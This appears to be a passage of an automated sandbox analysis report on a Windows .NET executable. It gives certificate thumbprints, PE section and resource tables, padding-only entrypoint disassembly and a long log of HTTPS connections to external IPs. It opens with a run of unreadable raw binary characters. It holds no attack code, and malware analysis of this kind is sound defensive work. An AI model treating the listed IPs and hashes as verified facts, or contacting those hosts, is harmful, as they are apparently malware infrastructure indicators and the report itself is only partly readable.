\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP"
Version:	3
Thumbprint MD5:	133BCC878AB8FE98D61639E2A504C83B
Thumbprint SHA-1:	A9B4F9AE835831BC5973CD5899CC47F1A36551EB
Thumbprint SHA-256:	C3B801C3C23D8ECEB77DFA5405A7078F87329FA0EDF1A020411E8D9FF1653139
Serial:	17AF9D8571465F984BFD5F8EF5675FE5

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47cc10	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47e000	0x4d48c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4c8800	0x5bb8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4cc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x47ac64	0x47ae00	14cc6bafb65f0597af813f0ce111f2c3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x47e000	0x4d48c	0x4d600	5f2fd977c21300c4c4e8b5593de68cc7	False	0.5716882067851373	data	6.280772644549897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4cc000	0xc	0x200	45bea7a2a0abb33379050e9dc6dcef79	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x47e84c	0x732d	PNG image data, 320 x 240, 8-bit/color RGBA, interlaced	0.997422418178735
REGISTRY	0x485b7c	0x7d	ASCII text, with CRLF line terminators	0.736
REGISTRY	0x485bfc	0x2bd	ASCII text, with CRLF line terminators	0.42510699001426533
REGISTRY	0x485ebc	0x292	ASCII text, with CRLF line terminators	0.45288753799392095
REGISTRY	0x486150	0x2ca	ASCII text, with CRLF line terminators	0.41596638655462187
REGISTRY	0x48641c	0x35f	ASCII text, with CRLF line terminators	0.43453070683661643
REGISTRY	0x48677c	0x2b2	ASCII text, with CRLF line terminators	0.43478260869565216
REGISTRY	0x486a30	0x2da	ASCII text, with CRLF line terminators	0.41643835616438357
REGISTRY	0x486d0c	0x29a	ASCII text, with CRLF line terminators	0.45045045045045046
REGISTRY	0x486fa8	0x2d2	ASCII text, with CRLF line terminators	0.4182825484764543
REGISTRY	0x48727c	0x2dd	ASCII text, with CRLF line terminators	0.417462482946794
REGISTRY	0x48755c	0x20a	ASCII text, with CRLF line terminators	0.5421455938697318
REGISTRY	0x487768	0x1ee	ASCII text, with CRLF line terminators	0.5607287449392713
REGISTRY	0x487958	0x20d	ASCII text, with CRLF line terminators	0.5371428571428571
REGISTRY	0x487b68	0x2e4	ASCII text, with CRLF line terminators	0.41621621621621624
REGISTRY	0x487e4c	0x2a2	ASCII text, with CRLF line terminators	0.4406528189910979
REGISTRY	0x4880f0	0x2a6	ASCII text, with CRLF line terminators	0.44837758112094395
REGISTRY	0x488398	0x1f1	ASCII text, with CRLF line terminators	0.5573440643863179
REGISTRY	0x48858c	0x1dd	ASCII text, with CRLF line terminators	0.5765199161425576
REGISTRY	0x48876c	0x122	ASCII text, with CRLF line terminators	0.7827586206896552
REGISTRY	0x488890	0x1f1	ASCII text, with CRLF line terminators	0.5573440643863179
TYPELIB	0x488a84	0xb7b4	data	0.3651866972867228
RT_ICON	0x494238	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.8076241134751773
RT_ICON	0x4946a0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.6831967213114755
RT_ICON	0x495028	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.599906191369606
RT_ICON	0x4960d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.5260373443983403
RT_ICON	0x498678	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.4718941898913557
RT_ICON	0x49c8a0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	0.461090573012939
RT_ICON	0x4a1d28	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	0.43097014925373134
RT_ICON	0x4ab1d0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.3965456051106116
RT_ICON	0x4bb9f8	0xe66e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	1.0004407526699441
RT_DIALOG	0x4ca068	0x486	data	0.41018998272884283
RT_DIALOG	0x4ca4f0	0x42	data	0.7878787878787878
RT_DIALOG	0x4ca534	0x164	data	0.5870786516853933
RT_DIALOG	0x4ca698	0x190	data	0.58
RT_DIALOG	0x4ca828	0x8e	data	0.7112676056338029
RT_GROUP_ICON	0x4ca8b8	0x84	data	0.7348484848484849
RT_VERSION	0x4ca93c	0x3c4	data	0.37344398340248963
RT_MANIFEST	0x4cad00	0x789	XML 1.0 document, ASCII text, with CRLF line terminators	0.3587350959046138

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 10:26:55.438158989 CEST	49678	443	192.168.2.4	104.46.162.224
May 24, 2024 10:26:56.328787088 CEST	49675	443	192.168.2.4	173.222.162.32
May 24, 2024 10:27:00.414505005 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:00.414550066 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:00.414618969 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:00.422058105 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:00.422095060 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:01.107101917 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:01.107320070 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:01.748646975 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:01.748735905 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:01.749183893 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:01.749268055 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:01.754523993 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:01.802501917 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.165923119 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.165961981 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.165982008 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.166003942 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.166035891 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.166060925 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.166078091 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.245635033 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.245702028 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.245726109 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.245762110 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.245780945 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.245800018 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.264399052 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.264461994 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.264502048 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.264580965 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.264580965 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.264580965 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.264977932 CEST	49732	443	192.168.2.4	23.199.218.33
May 24, 2024 10:27:02.265001059 CEST	443	49732	23.199.218.33	192.168.2.4
May 24, 2024 10:27:02.274806023 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:02.274842978 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:02.274903059 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:02.275140047 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:02.275156021 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.214303970 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.214724064 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.218575954 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.218592882 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.218897104 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.218966961 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.219279051 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.262510061 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.709630966 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.709688902 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.709709883 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.709727049 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.709753036 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.709777117 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.712141991 CEST	49734	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.712153912 CEST	443	49734	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.713762999 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.713797092 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:03.713866949 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.714044094 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:03.714061022 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:04.458076000 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:04.458153963 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:04.459050894 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:04.459060907 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:04.475054026 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:04.475061893 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.152924061 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.153007984 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.153024912 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.153069019 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.153242111 CEST	49737	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.153259039 CEST	443	49737	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.154550076 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.154588938 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.154653072 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.154829979 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.154844999 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.913239956 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.913319111 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.913676023 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.913685083 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.921081066 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:05.921084881 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:05.938137054 CEST	49675	443	192.168.2.4	173.222.162.32
May 24, 2024 10:27:06.599039078 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:06.599061012 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:06.599117994 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:06.599239111 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:06.599240065 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:06.599426031 CEST	49740	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:06.599441051 CEST	443	49740	78.47.123.174	192.168.2.4
May 24, 2024 10:27:06.601911068 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:06.601926088 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:06.601984978 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:06.602174997 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:06.602188110 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:07.348551035 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:07.348607063 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:07.349123955 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:07.349133968 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:07.362462997 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:07.362468958 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.040714979 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.040785074 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.040915012 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.040934086 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.040998936 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.041306973 CEST	49743	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.041346073 CEST	443	49743	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.042781115 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.042819977 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.042881966 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.043081045 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.043096066 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.789742947 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.789884090 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.790606976 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.790620089 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:08.792272091 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:08.792279959 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:09.531757116 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:09.531857967 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.531887054 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:09.531918049 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:09.531929970 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.531981945 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.532304049 CEST	49744	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.532320976 CEST	443	49744	78.47.123.174	192.168.2.4
May 24, 2024 10:27:09.594580889 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.594613075 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:09.594695091 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.594881058 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:09.594896078 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.289522886 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.289632082 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.290210009 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.290220022 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.291691065 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.291696072 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.291727066 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.291733980 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.595186949 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.595244884 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.595355988 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.595726967 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.595748901 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.924006939 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.924088955 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.924113035 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.924158096 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.924184084 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:10.924232006 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.925434113 CEST	49747	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:10.925450087 CEST	443	49747	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.309631109 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.309788942 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.310403109 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.310427904 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.312130928 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.312136889 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.791336060 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.791376114 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.791394949 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.791448116 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.791477919 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.791488886 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.791537046 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.820569992 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.820605993 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.820720911 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.820755005 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.820815086 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.886989117 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.887026072 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.887139082 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.887167931 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.887244940 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.919550896 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.919599056 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.919728994 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.919754982 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.919810057 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.955246925 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.955271959 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.955393076 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.955416918 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.955482006 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.980571985 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.980593920 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.980629921 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.980647087 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:11.980659962 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:11.980680943 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.000966072 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.000992060 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.001040936 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.001059055 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.001074076 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.001101971 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.025590897 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.025624037 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.025770903 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.025788069 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.025892019 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.036073923 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.036092043 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.036202908 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.036221027 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.036284924 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.052546978 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.052571058 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.052644968 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.052666903 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.052704096 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.067105055 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.067156076 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.067255020 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.067277908 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.067323923 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.082895994 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.082927942 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.083080053 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.083101988 CEST	443	49748	78.47.123.174	192.168.2.4
May 24, 2024 10:27:12.083189964 CEST	49748	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:12.094909906 CEST	443	49748	78.47.123.174	192.168.2.4
